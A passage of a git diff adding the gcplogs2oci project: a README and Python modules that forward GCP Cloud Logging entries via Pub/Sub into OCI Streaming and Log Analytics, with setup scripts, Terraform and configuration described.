SCH stream-pull/consume + log-analytics"] + end +``` + +Two bridge implementations are provided: + +| Path | Best For | Technology | +|------|----------|------------| +| **Python SDK** (`bridge/`) | Development, testing, local runs | `google-cloud-pubsub` + `oci` SDK | +| **Fluentd Container** (`docker/`) | Production on OCI Container Instances | Fluentd + Kafka plugin | + +## Repository Layout + +``` +├── bridge/ # Python SDK bridge (GCP Pub/Sub → OCI Streaming) +│ ├── config.py # Environment-based configuration +│ ├── gcp_subscriber.py # GCP Pub/Sub streaming-pull consumer +│ ├── oci_stream_sender.py # OCI Streaming PutMessages sender + batching +│ └── main.py # CLI entry point (--drain / continuous) +├── scripts/ +│ ├── setup.sh # Unified setup wizard (orchestrates everything below) +│ ├── setup_gcp.sh # Provision GCP resources (topic, sub, sink, SA) +│ ├── setup_oci.sh # Provision OCI resources (stream, log group, parser, source, Connector Hub) +│ ├── setup_gcp_iam.sh # Apply recommended GCP IAM bindings (runtime + optional setup roles) +│ ├── setup_oci_iam.sh # Apply recommended OCI IAM policies (SCH + optional group policies) +│ ├── destroy_gcp.sh # Tear down all GCP resources (reverse of setup) +│ ├── destroy_oci.sh # Tear down all OCI resources (reverse of setup) +│ ├── status.sh # Audit all resources and configuration +│ ├── test_gcp_credentials.py # Validate GCP auth +│ ├── test_oci_credentials.py # Validate OCI auth +│ ├── publish_test_message.py # Publish sample logs to Pub/Sub +│ └── drain_pubsub_to_oci.sh # One-shot drain run +├── docker/ +│ ├── Dockerfile # Fluentd image with GCP + Kafka plugins +│ └── fluent.conf # Fluentd pipeline configuration +├── stack/ # OCI Resource Manager Stack (Terraform) +│ ├── main.tf # Provider, data sources, resource blocks +│ ├── variables.tf # Input variables +│ ├── outputs.tf # Output values (OCIDs, endpoints) +│ ├── iam.tf # IAM policies for Connector Hub +│ ├── schema.yaml # OCI Console UI form definition +│ └── scripts/ +│ └── setup_log_analytics.py # Custom fields, parser, source +├── docs/ +│ ├── ARCHITECTURE.md # Data flow, components, failure modes, field mapping +│ ├── QUICKSTART.md # Step-by-step deployment guide +│ └── IAM_PRIVILEGES.md # Service-by-service IAM recommendations + helper scripts +├── .env.example # Configuration template (copy to .env.local) +├── requirements.txt # Python dependencies +└── LICENSE.txt # UPL v1.0 +``` + +## Prerequisites + +| Tool | Version | Purpose | +|------|---------|---------| +| Python | 3.11+ | Bridge runtime, credential tests, OCI field/parser creation | +| `gcloud` CLI | Latest | GCP resource provisioning, Application Default Credentials | +| `oci` CLI | Latest | OCI resource provisioning | +| OCI Python SDK | >= 2.124.0 | Bridge OCI sender + setup_oci.sh parser/field creation | +| Docker | Optional | Fluentd production bridge | +| Terraform | >= 1.5.0 (Optional) | OCI Resource Manager Stack deployment | + +**GCP requirements:** +- Project with Cloud Logging API and Pub/Sub API enabled +- Authenticated via `gcloud auth application-default login` (recommended) or service account key + +**OCI requirements:** +- Tenancy with Streaming and Log Analytics services enabled +- **Log Analytics onboarded** (OCI Console > Observability & Management > Log Analytics > "Start Using Log Analytics") +- API signing key configured (`oci setup config`) and **public key uploaded** to OCI Console (Identity > Users > API Keys) +- IAM policies: user/service groups need stream, Log Analytics, and Connector Hub permissions (see [docs/IAM_PRIVILEGES.md](docs/IAM_PRIVILEGES.md)) + +## Service Documentation References + +| CSP | Service | Official Documentation | +|-----|---------|------------------------| +| GCP | Cloud Logging | [Cloud Logging docs](https://docs.cloud.google.com/logging/docs) | +| GCP | Pub/Sub | [Pub/Sub overview](https://docs.cloud.google.com/pubsub/docs/overview) | +| OCI | Streaming | [OCI Streaming docs](https://docs.oracle.com/en-us/iaas/Content/Streaming/home.htm) | +| OCI | Log Analytics | [OCI Log Analytics docs](https://docs.oracle.com/en-us/iaas/log-analytics/home.htm) | +| OCI | Connector Hub (formerly Service Connector Hub) | [OCI Connector Hub overview](https://docs.oracle.com/en-us/iaas/Content/connector-hub/overview.htm) | + +## Quick Start + +The unified setup wizard handles the entire provisioning flow — prerequisites, authentication, GCP resources, OCI resources, credential validation, and an optional end-to-end test: + +```bash +# 1. Install dependencies +python3 -m venv .venv && source .venv/bin/activate +pip install -r requirements.txt + +# 2. Authenticate both clouds +gcloud auth application-default login +oci setup config # if not already configured + +# 3. Run the setup wizard (interactive) +./scripts/setup.sh +``` + +The wizard walks through 10 steps, probes existing resources, and only creates what's missing. For CI/non-interactive environments: + +```bash +# Non-interactive with all defaults +./scripts/setup.sh --auto --skip-tests + +# Preview what would be done +./scripts/setup.sh --dry-run + +# Full non-interactive run including end-to-end test +./scripts/setup.sh --auto --e2e +``` + +
+Manual step-by-step (without the wizard) + +```bash +# 1. Configure +cp .env.example .env.local # fill in GCP + OCI values + +# 2. Provision GCP (topic, subscription, Log Router sink) +./scripts/setup_gcp.sh + +# 3. Apply IAM recommendations (both clouds) +./scripts/setup_gcp_iam.sh +./scripts/setup_oci_iam.sh + +# 4. Provision OCI (stream, log group, parser, source, Connector Hub) +./scripts/setup_oci.sh + +# 5. Validate credentials +python scripts/test_gcp_credentials.py +python scripts/test_oci_credentials.py + +# 6. Check infrastructure status +./scripts/status.sh + +# 7. Test end-to-end +python scripts/publish_test_message.py --count 5 +python -m bridge.main --drain + +# 8. Run continuously +python -m bridge.main +``` + +
+ +See [docs/QUICKSTART.md](docs/QUICKSTART.md) for the full walkthrough. + +## Unified Setup Wizard + +`./scripts/setup.sh` is a 10-step interactive wizard that orchestrates the full GCP + OCI provisioning pipeline. It probes existing resources, shows what exists vs what's missing, delegates to the individual setup scripts, validates credentials, and optionally runs an end-to-end test. + +| Flag | Description | +|------|-------------| +| `--auto` | Non-interactive mode (skip confirmations, use defaults) | +| `--skip-tests` | Skip credential validation and end-to-end test | +| `--dry-run` | Show what would be done without executing | +| `--force` | Pass `--force` to child scripts | +| `--e2e` | Include end-to-end test (publish + drain) | + +### Wizard Walkthrough + +**Steps 1-3** — Check prerequisites (CLIs, Python SDKs), verify `.env.local`, confirm GCP authentication: + +![Setup wizard steps 1-3: prerequisites, env, GCP auth](images/gcp-setup.png) + +**Step 4** — Probe GCP resources and delegate to `setup_gcp.sh` for any missing resources: + +![Step 4: GCP resource probing and provisioning prompt](images/gcp-setup-1.png) + +**Step 4 (continued)** — `setup_gcp.sh` creates the Pub/Sub topic, subscription, Log Router sink, service account, and IAM bindings: + +![Step 4: setup_gcp.sh creating resources](images/gcp-setup-2.png) + +**Steps 5-7** — Validate GCP credentials, check OCI authentication, probe OCI resources: + +![Steps 5-7: GCP credential validation, OCI auth, OCI resource probing](images/gcp-setup-3.png) + +**Steps 8-9** — Validate OCI credentials and run the optional end-to-end test (publish a message, drain the bridge): + +![Steps 8-9: OCI credential validation and end-to-end test](images/gcp-setup-4.png) + +**Step 10** — Final infrastructure status report via `status.sh`: + +![Step 10: final status report](images/gcp-setup-5.png) + +## Managing Infrastructure + +### Status audit + +Check the state of all provisioned resources, credentials, and configuration: + +```bash +./scripts/status.sh +``` + +Reports `[OK]`, `[WARN]`, or `[FAIL]` for each resource across GCP, OCI, and bridge config. Exit code is the number of failures (0 = all healthy). + +### Tear down + +Remove all resources created by the setup scripts: + +```bash +# Interactive (asks for confirmation) +./scripts/destroy_gcp.sh +./scripts/destroy_oci.sh + +# Non-interactive (CI / scripted teardown) +./scripts/destroy_gcp.sh --force +./scripts/destroy_oci.sh --force +``` + +Deletion order respects resource dependencies (e.g., Connector Hub is deleted before Stream). Both scripts handle already-deleted resources gracefully. + +### Full reset cycle + +```bash +./scripts/destroy_oci.sh --force && ./scripts/destroy_gcp.sh --force +./scripts/setup_gcp.sh && ./scripts/setup_oci.sh +./scripts/status.sh +``` + +## OCI Resource Manager (Terraform) Deployment + +### One-click deploy + +[![Deploy to Oracle Cloud](https://oci-resourcemanager-plugin.plugins.oci.oraclecloud.com/latest/deploy-to-oracle-cloud.svg)](https://cloud.oracle.com/resourcemanager/stacks/create?zipUrl=https://github.com/adibirzu/gcplogs2oci/archive/refs/heads/main.zip) + +1. Click the button above, sign in to your OCI tenancy +2. Select **`stack/`** as the working directory when prompted +3. Fill in the form (compartment, region, stream names, etc.) +4. Click **Plan** then **Apply** + +### Manual upload + +Alternatively, package and upload the stack yourself: + +```bash +cd stack && zip -r ../gcplogs2oci-stack.zip . && cd .. +``` + +Then navigate to **OCI Console > Developer Services > Resource Manager > Stacks > Create Stack** and upload the `.zip` file. + +### Create Log Analytics custom content + +After the stack is applied, create the parser, fields, and source (not supported by the Terraform provider): + +```bash +pip install oci # if not already installed +export LA_NAMESPACE="" +export OCI_COMPARTMENT_ID="" +python3 stack/scripts/setup_log_analytics.py +``` + +### Local Terraform apply + +```bash +cd stack +terraform init +terraform plan -var="compartment_ocid=ocid1.compartment..." \ + -var="region=eu-frankfurt-1" \ + -var="tenancy_ocid=ocid1.tenancy..." +terraform apply +``` + +The stack creates the same OCI resources as `setup_oci.sh` (Stream Pool, Stream, Log Group, SCH, IAM policies). The Python helper script handles Log Analytics custom content (40 fields, 44-mapping JSON parser, source) which has no Terraform provider support. + +## Configuration + +All settings are read from environment variables. Copy `.env.example` to `.env.local` and fill in your values. The file is listed in `.gitignore` and never committed. + +### Required Variables + +| Variable | Description | +|----------|-------------| +| `GCP_PROJECT_ID` | GCP project ID | +| `GCP_PUBSUB_SUBSCRIPTION` | Pull subscription name | +| `OCI_MESSAGE_ENDPOINT` | OCI Streaming message endpoint URL | +| `OCI_STREAM_OCID` | OCI Stream OCID (not Stream Pool) | +| `OCI_USER_OCID` | OCI user OCID | +| `OCI_KEY_FILE` or `OCI_KEY_CONTENT` | Path to PEM key file (local dev) or inline PEM string (CI/containers) | +| `OCI_FINGERPRINT` | API key fingerprint | +| `OCI_TENANCY_OCID` | Tenancy OCID | +| `OCI_REGION` | OCI region (e.g., `eu-frankfurt-1`) | +| `OCI_COMPARTMENT_OCID` | Compartment OCID (used by `setup_oci.sh`) | + +### GCP Authentication + +The bridge uses **Application Default Credentials (ADC)**. For local development: + +```bash +gcloud auth application-default login +``` + +For CI/production, set `GOOGLE_APPLICATION_CREDENTIALS` to a service account key file. Recommended bridge IAM: +- `roles/pubsub.subscriber` on the bridge subscription +- `roles/pubsub.viewer` on the bridge topic/subscription (diagnostics) + +Use `./scripts/setup_gcp_iam.sh` to apply these bindings. + +### Optional Variables + +| Variable | Default | Description | +|----------|---------|-------------| +| `GCP_PUBSUB_TOPIC` | `oci-log-export-topic` | Pub/Sub topic name | +| `GCP_LOG_FILTER` | `severity >= DEFAULT` | Log Router sink filter | +| `OCI_LOG_ANALYTICS_NAMESPACE` | Auto-detected | Log Analytics namespace | +| `OCI_LOG_GROUP_NAME` | `GCPLogs` | Log Analytics log group name | +| `OCI_SCH_NAME` | `GCP-Stream-to-LogAnalytics` | Connector Hub name | +| `MAX_BATCH_SIZE` | `100` | Max messages per OCI batch | +| `MAX_BATCH_BYTES` | `1048576` | Max batch size in bytes | +| `INACTIVITY_TIMEOUT` | `30` | Seconds before drain mode exits | + +See `.env.example` for the full list. + +## GCP Cloud Logging Parser + +The `setup_oci.sh` script creates a custom **GCP Cloud Logging JSON Parser** in OCI Log Analytics with **44 field mappings** covering all GCP Cloud Logging [LogEntry](https://cloud.google.com/logging/docs/reference/v2/rest/v2/LogEntry) resource types. + +The bridge injects `cloudProvider: "GCP"` into every log entry for multicloud dashboard filtering. + +### OCI Log Analytics Screenshots + +**Log Explorer** — GCP Cloud Logging logs with extracted fields: + +![GCP Logs in OCI Log Analytics](images/gcp-logs.png) + +**Custom Fields** — 40 GCP-specific fields created by the setup script: + +![GCP Custom Fields](images/gcp-fields.png) + +**JSON Parser** — 44 field mappings from GCP LogEntry JSON paths: + +![GCP Cloud Logging JSON Parser](images/gcp-parser.png) + +### Supported Resource Types + +| Resource Type | Log Types | Key Fields Extracted | +|---------------|-----------|---------------------| +| `gce_instance` | Audit (cloudaudit) | Zone, Instance ID, Method, Principal | +| `cloud_run_revision` | HTTP requests, stdout | Service, Revision, Location, HTTP details | +| `pubsub_topic` | Audit | Topic ID, Resource Name | +| `pubsub_subscription` | Audit | Subscription ID, Resource Name | +| `logging_sink` | Audit | Sink Name, Destination | +| `project` | Audit (IAM) | Resource Name, Caller IP | + +### Field Categories (44 total) + +**Built-in** (4): Message, Severity, Time, Method + +**Multicloud** (1): Cloud Provider (`$.cloudProvider`) + +**Core LogEntry** (13): Insert ID, Log Name, Resource Type, Project ID, Service Name, Method Name, Principal Email, Zone, Instance ID, Trace ID, Span ID, Text Payload, Receive Timestamp + +**HTTP Request** (10): Method, URL, Status, Latency, Protocol, Remote IP, Request Size, Response Size, Server IP, User Agent + +**Cloud Run** (5): Configuration Name, Location, Cloud Run Service, Revision Name, Label Instance ID + +**Audit Extended** (3): Resource Name, Caller IP, Caller User Agent + +**Resource Labels** (4): Subscription ID, Topic ID, Sink Name, Sink Destination + +**Operation & Source Location** (4): Operation ID, Source File, Source Line, Source Function + +See [docs/ARCHITECTURE.md](docs/ARCHITECTURE.md) for the full JSON path mapping tables. + +## Expanding Log Collection + +The default `setup_gcp.sh` creates a Log Router sink with the filter `severity >= ERROR`. You can expand this to capture logs from any of the [150+ GCP services that emit audit logs](https://cloud.google.com/logging/docs/audit/services). + +### GCP Audit Log Types + +GCP Cloud Logging produces four audit log types, each with a different log name suffix: + +| Type | Log Name Suffix | Enabled By Default | Description | +|------|----------------|--------------------|-------------| +| **Admin Activity** | `activity` | Yes (always on) | Resource config/metadata changes | +| **Data Access** | `data_access` | No (except BigQuery) | Data reads/writes, config reads | +| **System Event** | `system_event` | Yes (always on) | Google-driven system actions | +| **Policy Denied** | `policy` | Yes (always on) | Security policy violations | + +### Customizing the Log Router Filter + +Edit `GCP_LOG_FILTER` in `.env.local` before running `setup_gcp.sh`, or update an existing sink: + +```bash +# Capture all audit logs (Admin Activity + Data Access + System Event + Policy Denied) +GCP_LOG_FILTER='logName:"cloudaudit.googleapis.com"' + +# Capture all logs at INFO and above +GCP_LOG_FILTER='severity >= INFO' + +# Capture audit logs from specific services +GCP_LOG_FILTER='logName:"cloudaudit.googleapis.com" AND protoPayload.serviceName=("compute.googleapis.com" OR "storage.googleapis.com" OR "container.googleapis.com")' + +# Capture Cloud Run HTTP request logs + audit logs +GCP_LOG_FILTER='resource.type="cloud_run_revision" OR logName:"cloudaudit.googleapis.com"' + +# Capture everything (high volume — use with caution) +GCP_LOG_FILTER='severity >= DEFAULT' +``` + +To update an existing sink filter without re-running setup: + +```bash +gcloud logging sinks update gcp-to-oci-sink \ + --log-filter='logName:"cloudaudit.googleapis.com"' +``` + +### Common GCP Services and Their Logs + +The parser's 44 field mappings already cover the [LogEntry](https://cloud.google.com/logging/docs/reference/v2/rest/v2/LogEntry) and [AuditLog](https://cloud.google.com/logging/docs/audit#audit_log_entry_structure) structures used by all GCP services. Key services include: + +| Service | `resource.type` | Log Content | +|---------|-----------------|-------------| +| **Compute Engine** | `gce_instance` | Instance lifecycle, SSH access, API calls | +| **Cloud Run** | `cloud_run_revision` | HTTP requests, container stdout/stderr | +| **GKE** | `k8s_cluster`, `k8s_container` | Cluster operations, pod logs | +| **Cloud Storage** | `gcs_bucket` | Bucket access, object operations | +| **BigQuery** | `bigquery_resource` | Query execution, dataset access | +| **Cloud SQL** | `cloudsql_database` | Database operations, connections | +| **Cloud Functions** | `cloud_function` | Function execution, errors | +| **IAM** | `project` | Role grants, policy changes | +| **VPC** | `gce_subnetwork` | Firewall rules, flow logs | +| **Pub/Sub** | `pubsub_topic`, `pubsub_subscription` | Topic/subscription operations | +| **Cloud Load Balancing** | `http_load_balancer` | Request logs with full HTTP details | + +### Enabling Data Access Logs + +Data Access audit logs are disabled by default for most services. Enable them in the GCP Console or via `gcloud`: + +```bash +# Enable Data Access logs for Cloud Storage +gcloud projects get-iam-policy $GCP_PROJECT_ID --format=json > /tmp/policy.json +# Edit the auditConfigs section, then: +gcloud projects set-iam-policy $GCP_PROJECT_ID /tmp/policy.json +``` + +Or in the GCP Console: **IAM & Admin > Audit Logs** > select service > check **Data Read** / **Data Write**. + +### Structured Logging from Applications + +Applications running on GCP (Cloud Run, GKE, Compute Engine) can emit [structured logs](https://cloud.google.com/logging/docs/structured-logging) that the parser automatically handles: + +```json +{ + "severity": "ERROR", + "message": "Failed to process request", + "httpRequest": { "requestMethod": "POST", "requestUrl": "/api/orders", "status": 500 }, + "logging.googleapis.com/trace": "projects/my-project/traces/abc123", + "logging.googleapis.com/spanId": "000000000000004a" +} +``` + +All `jsonPayload`, `httpRequest`, `trace`, `spanId`, and `sourceLocation` fields are extracted by the parser into OCI Log Analytics custom fields — no parser changes needed. + +### Parser Coverage + +The GCP Cloud Logging JSON parser handles **all** GCP log types without modification because: + +1. **Core fields** (`insertId`, `severity`, `timestamp`, `resource.type`, `logName`) are present in every LogEntry +2. **Audit fields** (`protoPayload.*`) are extracted when present (audit logs) +3. **HTTP fields** (`httpRequest.*`) are extracted when present (Cloud Run, Load Balancer) +4. **Resource labels** (`resource.labels.*`) are extracted for all resource types +5. **Missing fields** result in null values — no parsing errors + +To add support for new resource-specific labels, see the [Architecture doc](docs/ARCHITECTURE.md) field mapping tables. + +## Docker / Fluentd Path + +For production deployments on OCI Container Instances: + +```bash +docker build -t gcp-oci-bridge:latest docker/ +docker tag gcp-oci-bridge:latest .ocir.io///bridge:latest +docker push .ocir.io///bridge:latest +``` + +Secrets are mounted from OCI Vault — see [docs/ARCHITECTURE.md](docs/ARCHITECTURE.md). + +## Security + +- **No embedded secrets**: All credentials are loaded from `.env.local` (local) or OCI Vault (production) +- **ADC preferred**: GCP authentication uses Application Default Credentials, no key file needed for local dev +- **Least privilege**: GCP bridge SA uses resource-scoped Pub/Sub roles; OCI policies are scoped per runtime principal (see `docs/IAM_PRIVILEGES.md`) +- **Private networking**: Container Instance runs in a private subnet with NAT gateway +- **Git safety**: `.gitignore` excludes `.env.local`, `*.pem`, `*.key`, and `gcp-sa-key.json` + +## License + +Copyright (c) 2025 Oracle and/or its affiliates. Released under the [Universal Permissive License v1.0](LICENSE.txt). diff --git a/observability-and-management/assets/gcplogs2oci/bridge/__init__.py b/observability-and-management/assets/gcplogs2oci/bridge/__init__.py new file mode 100644 index 000000000..25db05fe5 --- /dev/null +++ b/observability-and-management/assets/gcplogs2oci/bridge/__init__.py @@ -0,0 +1 @@ +# GCP Pub/Sub → OCI Streaming bridge diff --git a/observability-and-management/assets/gcplogs2oci/bridge/config.py b/observability-and-management/assets/gcplogs2oci/bridge/config.py new file mode 100644 index 000000000..d045978fe --- /dev/null +++ b/observability-and-management/assets/gcplogs2oci/bridge/config.py @@ -0,0 +1,148 @@ +""" +Configuration management for the GCP → OCI bridge. + +All settings are read from environment variables (loaded from .env.local +for local development). No secrets are embedded in source. +""" + +import os +import re +import textwrap + +from dotenv import load_dotenv + + +def load_env(): + """Load environment from .env.local (preferred) or .env, searching upward.""" + candidates = [ + os.path.join(os.getcwd(), ".env.local"), + os.path.join(os.getcwd(), ".env"), + os.path.join(os.path.dirname(__file__), "..", ".env.local"), + os.path.join(os.path.dirname(__file__), "..", ".env"), + ] + for path in candidates: + if os.path.exists(path): + load_dotenv(path) + return path + return None + + +def parse_key(key_input: str) -> str: + """Parse OCI private key from single-line or multi-line PEM format.""" + normalized = (key_input or "").replace("\\n", "\n").strip() + + begin_match = re.search(r"-----BEGIN [A-Z ]+-----", normalized) + end_match = re.search(r"-----END [A-Z ]+-----", normalized) + if not begin_match or not end_match: + raise ValueError("PEM BEGIN/END markers not found in key_content") + + begin_line = begin_match.group() + end_line = end_match.group() + key_block = normalized[begin_match.end():end_match.start()] + + # Preserve encryption headers if present + encr_lines = "" + for pattern in (r"Proc-Type: [^\n]+", r"DEK-Info: [^\n]+"): + m = re.search(pattern, key_block) + if m: + encr_lines += m.group().strip() + "\n" + key_block = key_block.replace(m.group(), "") + + body_compact = re.sub(r"\s+", "", key_block) + wrapped_body = "\n".join(textwrap.wrap(body_compact, 64)) + + parts = [begin_line] + if encr_lines: + parts.append(encr_lines.rstrip("\n")) + parts.append(wrapped_body) + parts.append(end_line) + return "\n".join(parts) + + +def mask(value: str, keep: int = 6) -> str: + """Mask a secret for safe logging.""" + if not value: + return "" + if len(value) <= keep: + return "***" + return f"{value[:keep]}...***" + + +# ── GCP settings ────────────────────────────────────────────── + +def gcp_project_id() -> str: + return os.environ["GCP_PROJECT_ID"] + + +def gcp_subscription() -> str: + return os.environ["GCP_PUBSUB_SUBSCRIPTION"] + + +def gcp_topic() -> str: + return os.environ.get("GCP_PUBSUB_TOPIC", "oci-log-export-topic") + + +# ── OCI settings ───────────────────────────────────────────── + +def oci_config() -> dict: + """Build an OCI SDK configuration dict from environment variables. + + Supports two modes for the private key: + - OCI_KEY_FILE: path to a PEM file (preferred for local dev) + - OCI_KEY_CONTENT: inline PEM string (for CI / container deployments) + """ + key_file = os.environ.get("OCI_KEY_FILE") + key_content = os.environ.get("OCI_KEY_CONTENT") + + if key_file: + with open(os.path.expanduser(key_file)) as f: + key_pem = f.read() + # Strip anything after the END marker (some files have trailing labels) + key_pem = parse_key(key_pem) + elif key_content: + key_pem = parse_key(key_content) + else: + raise RuntimeError("Set either OCI_KEY_FILE or OCI_KEY_CONTENT") + + return { + "user": os.environ["OCI_USER_OCID"], + "key_content": key_pem, + "pass_phrase": os.environ.get("OCI_KEY_PASSPHRASE", ""), + "fingerprint": os.environ["OCI_FINGERPRINT"], + "tenancy": os.environ["OCI_TENANCY_OCID"], + "region": os.environ["OCI_REGION"], + } + + +def oci_message_endpoint() -> str: + return os.environ["OCI_MESSAGE_ENDPOINT"] + + +def oci_stream_ocid() -> str: + ocid = os.environ["OCI_STREAM_OCID"] + if "streampool" in ocid: + raise RuntimeError( + "OCI_STREAM_OCID points to a Stream Pool. " + "Use the Stream OCID (ocid1.stream...) instead." + ) + return ocid + + +def max_batch_size() -> int: + return int(os.environ.get("MAX_BATCH_SIZE", 100)) + + +def max_batch_bytes() -> int: + return int(os.environ.get("MAX_BATCH_BYTES", 1024 * 1024)) + + +def ack_deadline_seconds() -> int: + return int(os.environ.get("ACK_DEADLINE_SECONDS", 60)) + + +def pull_max_messages() -> int: + return int(os.environ.get("PULL_MAX_MESSAGES", 1000)) + + +def inactivity_timeout() -> int: + return int(os.environ.get("INACTIVITY_TIMEOUT", 30)) diff --git a/observability-and-management/assets/gcplogs2oci/bridge/gcp_subscriber.py b/observability-and-management/assets/gcplogs2oci/bridge/gcp_subscriber.py new file mode 100644 index 000000000..716e36ad1 --- /dev/null +++ b/observability-and-management/assets/gcplogs2oci/bridge/gcp_subscriber.py @@ -0,0 +1,178 @@ +""" +GCP Pub/Sub pull subscriber. + +Uses the google-cloud-pubsub streaming-pull API to receive messages +asynchronously and forward them to OCI Streaming via *MessageBuffer*. +""" + +import json +import logging +import threading +import time + +from google.cloud import pubsub_v1 + +from bridge.config import ( + ack_deadline_seconds, + gcp_project_id, + gcp_subscription, + inactivity_timeout, + mask, + max_batch_bytes, + max_batch_size, + oci_config, + oci_message_endpoint, + oci_stream_ocid, +) +from bridge.oci_stream_sender import MessageBuffer, OciStreamSender + +logger = logging.getLogger(__name__) + + +class PubSubBridge: + """Subscribe to GCP Pub/Sub and forward messages to OCI Streaming.""" + + def __init__(self): + # OCI side + cfg = oci_config() + endpoint = oci_message_endpoint() + stream_ocid = oci_stream_ocid() + self.sender = OciStreamSender(cfg, endpoint, stream_ocid) + self.buffer = MessageBuffer( + self.sender, + max_count=max_batch_size(), + max_bytes=max_batch_bytes(), + ) + + # GCP side + self.project_id = gcp_project_id() + self.subscription_id = gcp_subscription() + self.subscription_path = ( + f"projects/{self.project_id}/subscriptions/{self.subscription_id}" + ) + + # Counters + self.processed = 0 + self.errors = 0 + self._lock = threading.Lock() + self._last_message_time = time.time() + self._timeout = inactivity_timeout() + + logger.info( + "Bridge initialised | project=%s | subscription=%s | " + "endpoint=%s | stream=%s", + self.project_id, + self.subscription_id, + mask(endpoint), + mask(stream_ocid), + ) + + # ── callback ────────────────────────────────────────────── + + @staticmethod + def _enrich(body: str) -> str: + """Inject cloud-provider tag so multicloud dashboards can filter by CSP.""" + try: + obj = json.loads(body) + obj["cloudProvider"] = "GCP" + return json.dumps(obj, separators=(",", ":")) + except (json.JSONDecodeError, TypeError): + return body + + def _callback(self, message: pubsub_v1.subscriber.message.Message): + """Handle a single Pub/Sub message.""" + try: + body = message.data.decode("utf-8") + if not body or body.isspace(): + logger.warning("Empty Pub/Sub message, skipping") + message.ack() + return + + self.buffer.add(self._enrich(body)) + message.ack() + + with self._lock: + self.processed += 1 + self._last_message_time = time.time() + + if self.processed % 500 == 0: + logger.info( + "Progress: processed=%d, sent=%d, failed=%d", + self.processed, + self.buffer.sent, + self.buffer.failed, + ) + + except UnicodeDecodeError as exc: + logger.error("Failed to decode message as UTF-8: %s", exc) + message.nack() + with self._lock: + self.errors += 1 + except Exception as exc: + logger.error("Error processing message: %s", exc) + message.nack() + with self._lock: + self.errors += 1 + + # ── run ─────────────────────────────────────────────────── + + def run(self, run_forever: bool = True): + """Start the streaming-pull subscriber. + + If *run_forever* is False the bridge will stop after + *inactivity_timeout* seconds without messages (useful for + drain / one-shot scenarios). + """ + subscriber = pubsub_v1.SubscriberClient() + + flow_control = pubsub_v1.types.FlowControl( + max_messages=max_batch_size(), + max_bytes=max_batch_bytes(), + ) + + streaming_pull = subscriber.subscribe( + self.subscription_path, + callback=self._callback, + flow_control=flow_control, + await_callbacks_on_shutdown=True, + ) + + logger.info( + "Streaming pull started on %s (run_forever=%s)", + self.subscription_path, + run_forever, + ) + + try: + if run_forever: + streaming_pull.result() + else: + # Drain mode: stop when idle for INACTIVITY_TIMEOUT seconds + while True: + time.sleep(5) + with self._lock: + idle = time.time() - self._last_message_time + if idle >= self._timeout: + logger.info( + "Inactivity timeout (%ds) reached, stopping", + self._timeout, + ) + break + except KeyboardInterrupt: + logger.info("Keyboard interrupt received") + finally: + streaming_pull.cancel() + streaming_pull.result(timeout=10) + + # Final flush + self.buffer.flush() + + logger.info( + "Bridge stopped | processed=%d | sent=%d | failed=%d | " + "errors=%d | batches=%d", + self.processed, + self.buffer.sent, + self.buffer.failed, + self.errors, + self.buffer.batches, + ) diff --git a/observability-and-management/assets/gcplogs2oci/bridge/main.py b/observability-and-management/assets/gcplogs2oci/bridge/main.py new file mode 100644 index 000000000..a1d4d4544 --- /dev/null +++ b/observability-and-management/assets/gcplogs2oci/bridge/main.py @@ -0,0 +1,62 @@ +#!/usr/bin/env python3 +""" +Entry point for the GCP Pub/Sub → OCI Streaming bridge. + +Usage: + # Continuous mode (default) – runs until interrupted + python -m bridge.main + + # Drain mode – stops after INACTIVITY_TIMEOUT seconds of silence + python -m bridge.main --drain +""" + +import argparse +import logging +import sys + +from bridge.config import load_env, mask, oci_message_endpoint, oci_stream_ocid +from bridge.gcp_subscriber import PubSubBridge + + +def main(): + parser = argparse.ArgumentParser( + description="GCP Pub/Sub → OCI Streaming bridge" + ) + parser.add_argument( + "--drain", + action="store_true", + help="Run in drain mode: stop after inactivity timeout", + ) + parser.add_argument( + "--log-level", + default="INFO", + choices=["DEBUG", "INFO", "WARNING", "ERROR"], + help="Logging verbosity (default: INFO)", + ) + args = parser.parse_args() + + logging.basicConfig( + level=getattr(logging, args.log_level), + format="%(asctime)s %(levelname)-8s [%(name)s] %(message)s", + datefmt="%Y-%m-%d %H:%M:%S", + ) + + env_file = load_env() + if env_file: + logging.info("Loaded environment from %s", env_file) + else: + logging.info("No .env.local / .env found; using system environment") + + # Quick sanity check before starting + logging.info( + "Target: endpoint=%s stream=%s", + mask(oci_message_endpoint()), + mask(oci_stream_ocid()), + ) + + bridge = PubSubBridge() + bridge.run(run_forever=not args.drain) + + +if __name__ == "__main__": + main() diff --git a/observability-and-management/assets/gcplogs2oci/bridge/oci_stream_sender.py b/observability-and-management/assets/gcplogs2oci/bridge/oci_stream_sender.py new file mode 100644 index 000000000..8353f22fc --- /dev/null +++ b/observability-and-management/assets/gcplogs2oci/bridge/oci_stream_sender.py @@ -0,0 +1,132 @@ +""" +OCI Streaming sender with base64 encoding and size-aware batching. + +Adapted from the azurelogs2oci project's OciStreamSender. Sends batches +of JSON strings to an OCI Stream using the PutMessages API, respecting +the 1 MB / 100-message limits imposed by the service. +""" + +import logging +from base64 import b64encode +from typing import List, Tuple + +import oci +from oci.streaming.models import PutMessagesDetails, PutMessagesDetailsEntry + +logger = logging.getLogger(__name__) + + +class OciStreamSender: + """Send string payloads to OCI Streaming with automatic batching.""" + + def __init__(self, config: dict, message_endpoint: str, stream_ocid: str): + oci.config.validate_config(config) + self.client = oci.streaming.StreamClient( + config, service_endpoint=message_endpoint + ) + self.stream_ocid = stream_ocid + + # ── helpers ──────────────────────────────────────────────── + + @staticmethod + def estimate_batch_bytes(messages: List[str]) -> int: + """Estimate wire size of a batch (base64 payload + envelope overhead).""" + return ( + sum(len(b64encode(m.encode("utf-8"))) for m in messages) + + len(messages) * 50 + ) + + # ── sending ─────────────────────────────────────────────── + + def send_batch(self, payloads: List[str]) -> Tuple[int, int]: + """Send a single batch, return (sent, failed).""" + if not payloads: + return (0, 0) + entries = [ + PutMessagesDetailsEntry( + value=b64encode(p.encode("utf-8")).decode("utf-8") + ) + for p in payloads + ] + resp = self.client.put_messages( + self.stream_ocid, PutMessagesDetails(messages=entries) + ) + sent = failed = 0 + for entry in resp.data.entries or []: + if getattr(entry, "error", None): + failed += 1 + logger.warning("OCI put_messages entry error: %s", entry.error) + else: + sent += 1 + return (sent, failed) + + def send_with_limits( + self, + payloads: List[str], + max_bytes: int, + max_count: int, + ) -> Tuple[int, int, int]: + """Split *payloads* into batches that respect *max_bytes* / *max_count*.""" + total_sent = total_failed = batches = 0 + batch: List[str] = [] + for p in payloads: + candidate = batch + [p] + if ( + len(candidate) > max_count 